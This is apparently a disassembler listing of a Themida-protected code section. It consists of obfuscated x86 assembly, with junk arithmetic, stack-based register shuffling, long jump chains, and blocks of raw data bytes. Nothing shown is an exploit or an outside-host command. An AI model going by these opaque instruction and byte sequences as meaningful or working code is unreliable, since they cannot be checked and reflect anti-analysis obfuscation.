		dd 4C381h, 0E9560000h, 24Dh
; ---------------------------------------------------------------------------

loc_535768:				; CODE XREF: Themida_:0053E186j
		push	eax
		mov	eax, 0
		mov	ebx, eax
		pop	eax
		push	edx
		push	ebx
		jmp	loc_53FCB9
; ---------------------------------------------------------------------------
		dd 40558h, 31680000h, 8900000Dh, 40E9242Ch
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_53578B:				; CODE XREF: Themida_:005403C5j
		push	ebx
		mov	ebx, esp
		push	50BBh
		mov	[esp], edi
		mov	edi, 4
		sub	ebx, 152C173Eh
		add	ebx, edi
		push	esi
		mov	esi, 25B07F81h
		shl	esi, 2
		jmp	loc_53B73C
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd offset dword_5A1E68
		dd 0A250E900h, 0F7590000h, 76E955D9h, 8100006Ch, 0E347E4C6h
		dd 50C6014Ah, 0CA7806B8h, 7E0C13Dh, 3527E335h, 0E2E94073h
		db 23h,	2 dup(0)
byte_5357E3	db 64h			; DATA XREF: Themida_:005352F0o
		dd 2B60F66h, 4DC4E9h
		db 0
byte_5357ED	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005352C4o
		dd 4EC8324h, 89240489h,	4BB53E0h, 1000000h, 3330E9D8h
		dd 6CB60000h, 4674E9h
		db 0
; ---------------------------------------------------------------------------

loc_53580D:				; CODE XREF: Themida_:00539948j
		pop	edx
		jmp	loc_53EBE1
; ---------------------------------------------------------------------------

loc_535813:				; CODE XREF: Themida_:005388C2j
		inc	edi
		add	edi, 1D08E2B0h
		sub	ecx, edi
		jmp	loc_5360AF
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4C2h, 5520E900h, 2BF0000h, 56000000h, 0F289FE89h
		dd 8324348Bh, 565F04C4h, 0C26D21BEh, 0F7D6F764h, 75F681DEh
		dd 0C11D711Eh, 0E7E903EEh
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53585B:				; CODE XREF: Themida_:0053E11Fj
		shr	ecx, 0Bh
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, ebx
		push	edi
		mov	edi, ebp
		mov	ecx, edi
		pop	edi
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_536FED
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 2404875Eh, 4361E95Ch, 0D5BD0000h, 0C12FF463h, 0E58102E5h
		dd 47C903ECh, 0D4B95157h, 0BF2A7A78h, 7C51A019h, 0FFFD80E9h
		dd 0EC980FFh, 3B97E9h, 4EC8300h, 66242C89h, 6639D9BDh
		dd 0F766FD87h, 665566D7h, 1616E957h
		db 2 dup(0)
word_5358CA	dw 4ACh			; DATA XREF: Themida_:005352B0o
		dd 0ED0437h, 4EC81D8h, 89000000h, 0EDB22414h, 23B55166h
		dd 0DAE9E800h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5358E7:				; CODE XREF: Themida_:0053E137j
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		dec	edx
		jmp	loc_54014D
; ---------------------------------------------------------------------------
		db 57h
		dd 2F1FA8BFh, 81D7F767h, 0C679D8EFh, 0EF814F41h, 13C3F4B9h
		dd 815FFA21h, 19176CEAh, 1144E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_535916:				; CODE XREF: Themida_:0053CBB8j
		mov	[esp], edi
		mov	edi, 100B5369h
		jmp	loc_5403CA
; ---------------------------------------------------------------------------
		db 5Ah
		dd 31240C33h, 0C33240Ch, 2D685C24h, 89000018h, 91682434h
		dd 0E9000049h, 87E4h
dword_535940	dd 2DBE56ADh, 2912415Ch, 24348BF0h, 9C4EE9h, 0F6815A00h
					; DATA XREF: Themida_:00535204o
		dd 5254237Fh, 0AD7E9h, 5FFD0100h, 42E9E889h, 0BF00008Ch
		dd 4B9B1186h, 41E5B850h, 0AFE937FAh
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_535977:				; CODE XREF: Themida_:0053EC4Aj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_536522
; ---------------------------------------------------------------------------

loc_535980:				; CODE XREF: Themida_:0053D230j
		mov	eax, 8302168h
		jmp	loc_53A297
; ---------------------------------------------------------------------------
		dw 2B8h
		dd 81000000h, 7F0981EFh, 81C70161h, 7F0981C7h, 0FF575861h
		dd 0FF042474h, 34FF2434h, 0C4835F24h, 4C48304h,	547CE9h
		dd 0E9E68900h, 725Eh
dword_5359BC	dd 0E924048Bh, 0ACA1h, 0B393C681h, 0F221FE7Ah, 4EC815Eh
					; DATA XREF: Themida_:005352A8o
		dd 89000000h, 0F9BD242Ch, 8109195Dh, 0D70239EAh, 0E9EA296Ah
		dd 0AB3Eh, 4247C01h, 1BB4E9h, 50DD8800h, 0C288E888h, 0E95B5958h
		dd 9148h
; ---------------------------------------------------------------------------

loc_535A00:				; CODE XREF: Themida_:00535585j
		add	ebx, eax
		jmp	loc_53957B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B662424h, 31E9240Ch
		db 52h,	2 dup(0)
byte_535A13	db 66h			; DATA XREF: Themida_:005350E0o
		dd 6824048Bh, 535Eh, 0E9243489h, 68FCh,	8924248Bh, 0E9542434h
		dd 7E87h
; ---------------------------------------------------------------------------

loc_535A30:				; CODE XREF: Themida_:005355FCj
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 38486DAFh
		pop	edi
		sub	esp, 4
		jmp	loc_538787
; ---------------------------------------------------------------------------
		dd 24048F5Eh, 66F9F65Ch, 66CCB60Fh, 6628A668h, 66240C89h
		dd 0E9C8B60Fh, 1880h
; ---------------------------------------------------------------------------

loc_535A64:				; CODE XREF: Themida_:005392C0j
		add	ebp, edi
		sub	ebp, 5B013530h
		push	esi
		mov	esi, 36A4328Dh
		and	esi, 36352A1h
		and	esi, 79D718BFh
		add	esi, 71BF6736h
		add	ebp, 5C5459B1h
		sub	ebp, 109421D4h
		sub	ebp, esi
		add	ebp, 109421D4h
		sub	ebp, 5C5459B1h
		pop	esi
		pop	edi
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	3D88h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	ecx, [esp]
		jmp	loc_539CD7
; ---------------------------------------------------------------------------
		dw 9BBEh
		dd 8109AE10h, 9B2801EEh, 0E9EE2950h, 0DC4h
byte_535AD4	db 8Bh,	4, 24h		; DATA XREF: Themida_:005350CCo
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		push	edx
		jmp	loc_53E12C
; ---------------------------------------------------------------------------
dword_535AF8	dd 240C8B66h, 0D8E95456h, 87000071h, 0FF5C243Ch, 51592434h
					; DATA XREF: Themida_:0053525Co
		dd 5556E189h, 35472BBDh, 2FF5811Dh, 551D3547h, 9685551h
		dd 0E92EAD0Dh, 8725h, 22BA525Dh, 81417670h, 655A71F2h
		dd 0FDB9E97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_535B3A:				; CODE XREF: Themida_:0053C3F8j
		xor	eax, 569527CBh
		sub	esi, eax
		pop	eax
		add	esi, 3FBDB778h
		sub	eax, 77AC6BDEh
		sub	eax, esi
		push	edi
		mov	edi, 7764614h
		push	eax
		mov	eax, 2EC64D49h
		sub	eax, 1475129Dh
		xor	eax, 19644110h
		sub	eax, 4EEB5BDFh
		shr	eax, 3
		and	eax, 39A81C74h
		add	eax, 60522D5Ah
		xor	edi, eax
		pop	eax
		jmp	loc_539A1E
; ---------------------------------------------------------------------------
byte_535B7F	db 8Fh			; DATA XREF: Themida_:005351C0o
		dd 0F7DDE902h, 0CAB9FFFFh, 506D0B38h, 75F709B8h, 8BC129F3h
		dd 0C4832404h, 2F800504h, 33052D40h, 0E90EF616h, 2595h
		dd 565BDF01h, 2BEh, 8BF70100h, 0C4832434h, 0B5F3E904h
		dd 53510000h, 316BE9h, 2C890400h, 0E9536691h, 4330h, 66EB885Bh
		dd 56240C8Bh, 0A291E9h,	667E2C00h, 65B0505Bh, 0B7EBE9h
		dd 2474FF00h, 23E95A04h, 2900008Ah, 0F2BA52D8h,	2914854Eh
		dd 4D62E9D0h, 87590000h, 38E9242Ch
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_535C0B:				; CODE XREF: Themida_:0053F729j
		inc	ebx
		jmp	loc_53EBB9
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0C2815A54h, 4, 3304EA83h, 14312414h,	24143324h, 0E924248Bh
		dd 8717h
; ---------------------------------------------------------------------------

loc_535C30:				; CODE XREF: Themida_:0053D5B7j
		add	esi, 26AA7523h
		pop	edi
		push	6CF4h
		mov	[esp], esi
		pop	dword ptr [edx+38h]
		pop	esi
		jmp	loc_53BB21
; ---------------------------------------------------------------------------

loc_535C48:				; CODE XREF: Themida_:005353D2j
		add	esp, 4
		jmp	loc_538524
; ---------------------------------------------------------------------------

loc_535C50:				; CODE XREF: Themida_:00536C1Ej
		sub	ecx, 75BBABh
		sub	edx, ecx
		pop	ecx
		push	edi
		mov	edi, edx
		mov	ebp, edi
		pop	edi
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, ebp
		jmp	loc_53C74C
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8304C483h, 72E904EEh, 8800008Eh, 50595AD7h, 0E953F888h
		dd 8CDBh
; ---------------------------------------------------------------------------

loc_535C94:				; CODE XREF: Themida_:00538EA4j
		pop	edi
		add	esi, 1B1A55C7h
		add	esi, edx
		jmp	loc_5396D2
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24043124h, 0FFF6B6E9h, 0A3BDFFh, 0EB0926AEh,	5CB8505Dh
		dd 0E909EB3Dh, 1770h, 95AD389h,	0BB535BDAh, 50ED4D49h
		dd 814BDBF7h, 0ECEC6AF3h, 78BCE9D2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_535CDA:				; CODE XREF: Themida_:00539DE5j
		add	ebp, 0FFFFFFFFh
		or	ebp, 7C84169Eh
		push	ebx
		mov	ebx, 19FE0286h
		sub	ebp, ebx
		pop	ebx
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 36094D93h
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, 43D81DC6h
		sub	esi, 4CDC658Bh
		xor	esi, 0C25192D5h
		jmp	loc_538086
; ---------------------------------------------------------------------------
		dd 0E9505557h, 73F6h, 1F2CE800h, 30EEE9h, 0C896600h, 0F6C18824h
		dd 57CE9D1h, 575E0000h,	85A7E9h, 24043300h, 5A19E9h, 81D9F700h
		dd 0C7BA5C1h, 85ADE929h, 14890000h, 148B5424h, 4E79E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_535D5A:				; CODE XREF: Themida_:00539EE1j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_53AFDA
; ---------------------------------------------------------------------------

loc_535D6B:				; CODE XREF: Themida_:00535FC0j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		jmp	loc_53DD39
; ---------------------------------------------------------------------------
		dw 0C05Ah
		dd 2EE903E9h, 810000B7h, 0CA67E3F2h, 5AD5010Dh,	2C581h
		dd 2C870000h, 3B66E924h, 895C0000h, 0A1B1240Ch,	0FFF5F1E9h
		dd 6F5605FFh, 6B0D5B09h, 55D4F0Dh, 0FBC7379Ah, 5558C789h
		dd 0C14FBEBDh, 5875E971h, 248B0000h, 2404D324h,	2D6DE99Ch
		dd 0ED810000h, 7B746B5Fh, 8BBBE956h, 0F5810000h, 0DED8FB38h
		dd 815DEA29h, 0E4334BF2h, 0F2814263h, 6F325C1Eh, 67EEBB53h
		dd 0DA3131C7h, 8BD3315Bh, 0C4812414h, 4, 0FFF54AE9h, 0C68158FFh
		dd 13CF0408h, 0D8E9EE01h, 5500003Eh, 0FFFA5DE9h, 6EEE81FFh
		dd 8135C84Ch, 68698DEEh, 8BF721C3h, 0C4832434h,	785CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_535E46:				; CODE XREF: Themida_:005356CBj
		push	dword ptr [edi+eax*4]
		jmp	loc_535363
; ---------------------------------------------------------------------------

loc_535E4E:				; CODE XREF: Themida_:005386CCj
		push	1000000h
		push	dword ptr [esp]
		pop	esi
		push	edx
		jmp	loc_53888E
; ---------------------------------------------------------------------------
aCARsF		db 'Àæ',8,'€ÆRéΔ',0
		align 4
dword_535E68	dd 11BE56ADh, 81027F26h, 503960F6h, 53D6F757h, 353CA7BBh
					; DATA XREF: Themida_:00535164o
		dd 0E9DE214Eh, 27ABh, 6624248Bh, 9C242CD3h, 0FFF4D2E9h
		dd 5AED81FFh, 816C4127h, 2188CC5h, 5DEF01BBh, 795BE9h
		db 0
; ---------------------------------------------------------------------------

loc_535EA5:				; CODE XREF: Themida_:005394A7j
		pop	edx
		shr	ecx, 5
		jmp	loc_5402E0
; ---------------------------------------------------------------------------

loc_535EAE:				; CODE XREF: Themida_:0053EBBBj
		push	ebx
		neg	dword ptr [esp]
		pop	ebx
		shr	ebx, 5
		sub	esp, 4
		jmp	loc_53FDE7
; ---------------------------------------------------------------------------
word_535EBE	dw 8B66h		; DATA XREF: Themida_:00535148o
		dd 0EC832404h, 242C8904h, 242C8B54h, 0D3AE9h, 6F776800h
		dd 2C890000h, 48685724h, 5F79935Bh, 5269BE56h, 14E96A0Ah
		dd 8900002Dh, 0EF015AD5h, 243C875Dh, 0E1F7665Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_535F3F
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 629E953h, 50510000h,	0E588DC88h, 7D8FE9h, 81E18900h
		dd 4C1h, 8651E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_535F22:				; CODE XREF: Themida_:0053677Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	eax
		jmp	loc_5415AC
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 0F3E9565Bh
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_535F3F:				; CODE XREF: Themida_:00535EFCj
		mov	edi, 4
		add	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5C556CA4h
		jmp	loc_5356F1
; ---------------------------------------------------------------------------

loc_535F57:				; CODE XREF: Themida_:00536893j
		add	esp, 4
		push	edx
		push	1BFDh
		jmp	loc_53AC3C
; ---------------------------------------------------------------------------

loc_535F68:				; CODE XREF: Themida_:0053EDFAj
		mov	ebp, 45C1E68h
		or	ebp, 5E880742h
		and	ebp, 29846B49h
		neg	ebp
		and	ebp, 26F527B3h
		and	ebp, 65AB44C5h
		jmp	loc_537F76
; ---------------------------------------------------------------------------
		dd 2B9h, 59CD0100h, 0E9242C33h,	3B1Bh, 5C241487h, 0E9C8BF0Fh
		dd 71D6h, 0F75E951h, 0D6890000h, 0FFF99CE9h, 5DEE29FFh
		dd 57E3E9h
		db 0
; ---------------------------------------------------------------------------

loc_535FBD:				; CODE XREF: Themida_:0053AB92j
		pop	ebp
		push	ebx
		push	esp
		jmp	loc_535D6B
; ---------------------------------------------------------------------------
		db 68h,	8Dh, 66h
		dd 2C890000h, 75376824h, 0EC810000h, 4,	57242489h, 4BFh
		dd 247C0100h, 48F5F04h,	68515624h, 29E61CE7h, 81D1F759h
		dd 19E314E9h, 59CE89D6h, 4247401h, 0BA525D5Eh, 4CE46B0Ah
		dd 36FFE9h, 4EC8300h, 83242489h, 8B042404h, 0C483243Ch
		dd 4C78104h, 53000000h,	4BBh, 23BD5500h, 290CF341h, 0C7815DEFh
		dd 635C7337h, 0EF81DF01h, 635C7337h, 600BE9h, 2065B400h
		dd 0C58058E5h, 0AF19E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_536052:				; CODE XREF: Themida_:0053EA36j
		shr	ecx, 0Ah
		jmp	loc_537FA4
; ---------------------------------------------------------------------------
a1ih4		db '1ëhÕ4',0
		dd 243C8900h, 0FFF8FEE9h, 511725FFh, 0B02D6878h, 560A105Fh
		dd 5DA6E9h, 0F6805B00h,	0E95366ADh, 1268h, 7CE9545Ch
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53608B:				; CODE XREF: Themida_:0053F2E7j
		push	ecx
		jmp	loc_5404B2
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 81h
		dd 1C6CBDE5h, 81DDF713h, 0BED86F5h, 5DEB31A2h, 61BBC381h
		dd 0B6E97952h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5360AF:				; CODE XREF: Themida_:0053581Cj
		pop	edi
		jmp	loc_53B8F5
; ---------------------------------------------------------------------------
aZLSeb		db 'Z)L$',8,'éeB',0
		dw 5E00h
		dd 708FE9h, 24048900h, 44EFE9h,	48F5C00h, 0B1A7E924h, 4890000h
		dd 52F3B424h, 5AE9E288h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5360E3:				; CODE XREF: Themida_:0053F788j
		xor	dl, 90h
		add	dl, 22h
		jmp	loc_53A1EC
; ---------------------------------------------------------------------------
		dw 0A068h
		dd 0E900001Eh, 520Ch, 0FB0E381h, 0F3816B46h, 6C0B47A1h
		dd 325CE9h, 58E38800h, 0E95BD920h, 6559h
; ---------------------------------------------------------------------------

loc_536114:				; CODE XREF: Themida_:00540331j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 62F901FEh
		push	ebx
		jmp	loc_53664D
; ---------------------------------------------------------------------------

loc_536132:				; CODE XREF: Themida_:0053D18Cj
		mov	[esp], ebp
		mov	ebp, 747F1FC0h
		add	ebp, 239E2C6Dh
		add	ebp, 0F55E4F7Fh
		mov	esi, ebp
		jmp	loc_53DA53
; ---------------------------------------------------------------------------

loc_53614D:				; CODE XREF: Themida_:00538BC6j
		push	edi
		push	esi
		mov	esi, 236738F5h
		push	ecx
		jmp	loc_5373C7
; ---------------------------------------------------------------------------

loc_53615A:				; CODE XREF: Themida_:0053BBABj
		push	eax
		mov	ah, 0DAh
		mov	dh, ah
		jmp	loc_53F671
; ---------------------------------------------------------------------------

loc_536164:				; CODE XREF: Themida_:0053ADA0j
		pop	eax
		push	edx
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_53FA80
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 55B5BB53h, 515538D5h,	0EC314EB9h, 8BCD8922h
		dd 67E9240Ch
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53619F:				; CODE XREF: Themida_:0053641Aj
		xor	ebp, 3FDBFC5Ah
		mov	eax, ebp
		pop	ebp
		add	eax, edx
		add	[eax], ecx
		pop	eax
		pop	edx
		pop	ecx

loc_5361AF:				; CODE XREF: Themida_:00536378j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_53BDE4
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 146EE95Ch
		dd 0C1800000h, 0F6CFE9C9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5361DA:				; CODE XREF: Themida_:0053CE55j
		mov	[esp], edx
		mov	edx, 3FD84E3Eh
		inc	edx
		sub	edx, 62601D87h
		shr	edx, 1
		jmp	loc_536DDD
; ---------------------------------------------------------------------------
		dd 8BD20ABFh, 5FFB01E6h, 7FB1E955h, 89500000h, 405E0h
		dd 4050000h, 87000000h,	0D8E92404h, 870000A0h, 248B2414h
		dd 241C8924h, 950CE951h, 0C4810000h, 2,	212CF000h, 138AE9h
		dd 0E9D83100h, 6422h, 148BF000h, 5F545724h, 4CBEBA52h
		dd 0C28165C8h, 56B15F8h, 6629BE56h, 0F6814D84h,	1DEC5357h
		dd 2DCE814Eh, 8160082Ch, 0E81E14C6h, 21C68116h,	31E3E307h
		dd 8C6E9F2h, 0C6810000h, 407D44FDh, 8904EC83h, 28BB241Ch
		dd 295B767Ch, 0F1315BDEh, 8625E95Eh, 0FF5A0000h, 99E92434h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_536297:				; CODE XREF: Themida_:005369A5j
		push	eax
		mov	eax, 3E1959A0h
		not	eax
		not	eax
		push	esi
		mov	esi, 2D4979BDh
		add	eax, esi
		jmp	loc_536D9D
; ---------------------------------------------------------------------------
		dw 0C888h
		dd 0B5515966h, 52C5FE0Eh, 0D5080DB2h, 2186E9h, 4EB8100h
		dd 87000000h, 895C241Ch, 4832424h, 57580424h, 4BFh, 5FF80100h
		dd 0B33EE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5362E2:				; CODE XREF: Themida_:0053C2A9j
		mov	ch, bl
		pop	ebx
		jmp	loc_53D678
; ---------------------------------------------------------------------------

loc_5362EA:				; CODE XREF: Themida_:005388D7j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_537C2A
; ---------------------------------------------------------------------------
		db 66h,	68h, 4Eh
		dd 489664Dh, 0F059E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53630A:				; CODE XREF: Themida_:0053CFC9j
		xor	[esp+4], esi
		mov	esi, [esp]
		push	eax
		jmp	loc_539AE5
; ---------------------------------------------------------------------------
		db 53h
		dd 0E8895B5Dh, 83242C8Bh, 0C78104C4h, 1D9437B9h, 0C9E95752h
		dd 5E0000A3h, 68575355h, 45C77168h, 1EF835Fh, 20CDF781h
		dd 19E9256Dh
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_536347:				; CODE XREF: Themida_:0053CAFDj
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_53B8E4
; ---------------------------------------------------------------------------

loc_536352:				; CODE XREF: Themida_:00538187j
		pop	esp
		jmp	loc_539CF7
; ---------------------------------------------------------------------------

loc_536358:				; CODE XREF: Themida_:00540B23j
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_53C1EA
; ---------------------------------------------------------------------------
		db 81h
		dd 3C2A61E3h, 0F3BDE91Ch, 0C583FFFFh, 731DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_536376:				; CODE XREF: Themida_:0053A4F8j
		or	eax, eax
		jz	loc_5361AF
		push	dword ptr [edi+1Ch]
		push	359Fh
		jmp	loc_5400BF
; ---------------------------------------------------------------------------
		db 58h
		dd 4C483h, 41B551C3h, 34FFEB28h, 8B4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53639E:				; CODE XREF: Themida_:0053E5A4j
		jmp	loc_535363
; ---------------------------------------------------------------------------
		db 66h
		dd 0B7241C89h, 66F800CBh, 2CD8285Bh, 0F80FE9CBh, 0BA52FFFFh
		dd 341311DDh, 64CDCA81h, 0F281378Fh, 3FA20448h,	0B85AD789h
		dd 0F7C28E6Ch, 15FF801h, 4EEBE9C6h, 665C0000h, 81240C8Bh
		dd 4ECh, 243C8900h, 0B951E789h,	4, 0FFF244E9h, 4BBFFh
		dd 0E9500000h, 0EA8h
; ---------------------------------------------------------------------------

loc_536400:				; CODE XREF: Themida_:005414A6j
		sub	edx, 733A3948h
		push	eax
		push	ebp
		mov	ebp, 12917E79h
		inc	ebp
		add	ebp, 2D4A319Eh
		or	ebp, 35C97C4Ah
		jmp	loc_53619F
; ---------------------------------------------------------------------------
		db 0FEh
		dd 4CF480C4h, 8858E788h, 0F2805BFAh, 0E9D204B7h, 7144h
		dd 0E95EF001h, 6CAFh, 0EDE95357h, 81000015h, 4C6h, 4BDDE900h
		dd 0FF540000h, 505D2434h, 0BA52E089h, 4, 835AD001h, 48704C0h
		dd 0C5815C24h, 4, 9745E953h, 0EC810000h, 4, 0BB241C89h
		dd 43BA1F24h, 9E7FE9h, 41E9D100h, 7FAAB850h, 71352056h
		dd 3572B16Ch, 42FE0B4Ch, 325C8605h, 0AE7EE907h,	0EB680000h
		dd 8900005Ch, 0EC812434h, 4, 24048F54h,	4240481h, 5E000000h
		dd 4B951h, 0C6810000h, 538B3169h, 6BE9CE01h, 87000030h
		dd 665C241Ch, 5D66E831h, 4BD2E953h, 34870000h, 4895C24h
		dd 2D0AE924h, 0C1810000h, 1FB4158h, 0FFF039E9h,	245C8AFFh
		dd 24648804h, 24048B04h, 81E18951h, 4C1h, 4C18300h, 2474FF51h
		dd 0D2E95904h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_536517:				; CODE XREF: Themida_:0053FB5Cj
		push	esi
		mov	esi, 1794050Bh
		jmp	loc_53B24B
; ---------------------------------------------------------------------------

loc_536522:				; CODE XREF: Themida_:0053597Bj
		add	esp, 4
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_54108F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 3BC5h, 0C288D0F6h, 2EAC058h, 6622EA80h
		dd 0F682B151h, 80D1F6D1h, 0C80046F1h, 240C8B66h, 0E902C483h
		dd 8A52h, 7B07C681h, 0CE0101DFh, 7B07EE81h, 0C0E901DFh
		dd 81000039h, 4C4h, 7EEC100h, 9AEBE9h, 2434FF00h, 4C4815Bh
		dd 0FE000000h, 0CC8FEC0h, 56A6E94Bh
		db 2 dup(0)
word_536596	dw 77FFh		; DATA XREF: Themida_:005350F0o
		dd 59669D1Ch, 2414D366h, 9484E99Ch
		db 2 dup(0)
word_5365A6	dw 1CF6h		; DATA XREF: Themida_:005352FCo
aSP		db '$ώ-P',0
		db 0
; ---------------------------------------------------------------------------

loc_5365AF:				; CODE XREF: Themida_:0054012Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_53FB18
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2C717758h, 0C381C329h, 2C717758h, 643BEB81h,	0BE5603A2h
		dd 66DB00C4h, 0EE83D6F7h, 73C681FFh, 0C162E26Eh, 0EE8102EEh
		dd 637A6CB6h, 2EBA5257h, 0E94A2534h, 0FFFFF720h
; ---------------------------------------------------------------------------

loc_5365F4:				; CODE XREF: Themida_:005412B1j
		xor	edi, eax
		xor	eax, edi
		sub	esp, 4
		mov	[esp], edx
		push	esi
		jmp	loc_538A48
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF70100h, 8B243C87h, 0CCE92424h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_536617:				; CODE XREF: Themida_:0053762Bj
		mov	edi, ecx
		jmp	loc_538BAC
; ---------------------------------------------------------------------------

loc_53661E:				; CODE XREF: Themida_:0053A710j
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 53901675h
		xor	ecx, 72E16F76h
		push	eax
		jmp	loc_537CDE
; ---------------------------------------------------------------------------
		db 89h
		dd 0B450241Ch, 58E7883Fh, 0CFFEC7FEh, 0F780EFD0h, 5BFA88FFh
		dd 2CB7E9h
		db 0
; ---------------------------------------------------------------------------

loc_53664D:				; CODE XREF: Themida_:0053612Dj
		mov	ebx, 44DC75AEh
		mov	ebp, 26A57450h
		xor	ebp, ebx
		jmp	loc_53EF81
; ---------------------------------------------------------------------------
word_53665E	dw 8B66h		; DATA XREF: Themida_:00535318o
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 31C1384Eh
		shl	eax, 3
		or	eax, 419A46DAh
		dec	eax
		push	edx
		mov	edx, 64E24B60h
		and	eax, edx
		jmp	loc_53A0E4
; ---------------------------------------------------------------------------

loc_536681:				; CODE XREF: Themida_:0053EC8Ej
		pop	ebp
		jmp	loc_53B539
; ---------------------------------------------------------------------------
		db 0BAh
		dd 7C57701Ah, 68h, 78E0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_536696:				; CODE XREF: Themida_:0053DA0Ej
		mov	edi, [esp]
		jmp	loc_53B6D6
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4ECh, 2E59E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5366AA:				; CODE XREF: Themida_:0053F80Bj
		pop	esi
		push	1689h
		jmp	loc_539BAE
; ---------------------------------------------------------------------------
		db 59h,	53h, 0E9h
		dd 0F74h, 242C8158h, 2B656405h,	31D5E952h, 4890000h, 0E983B024h
		dd 1BD1h, 8DC0B60Fh, 0DC688704h, 8900001Ch, 7CE92404h
		dd 88FFFFECh, 0E78853FCh, 88FA8852h, 0E95B5AD5h, 1EF8h
; ---------------------------------------------------------------------------

loc_5366F8:				; CODE XREF: Themida_:0053D06Ej
		xor	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		push	edi
		mov	edi, 19EC6C0Ah
		xor	eax, edi
		pop	edi
		pop	ebp
		push	52ACh
		jmp	loc_53AA6D
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5EE58145h, 81707C41h, 3BD2D3EDh, 16C1811Dh, 0E96F2D4Fh
		dd 0FFFFFDBAh, 787B6851h, 24890000h, 4685224h, 5A000000h
		dd 4245401h, 434CE95Ah,	0C1810000h, 0B589BEA0h,	3AE9CF01h
		db 0AAh, 2 dup(0)
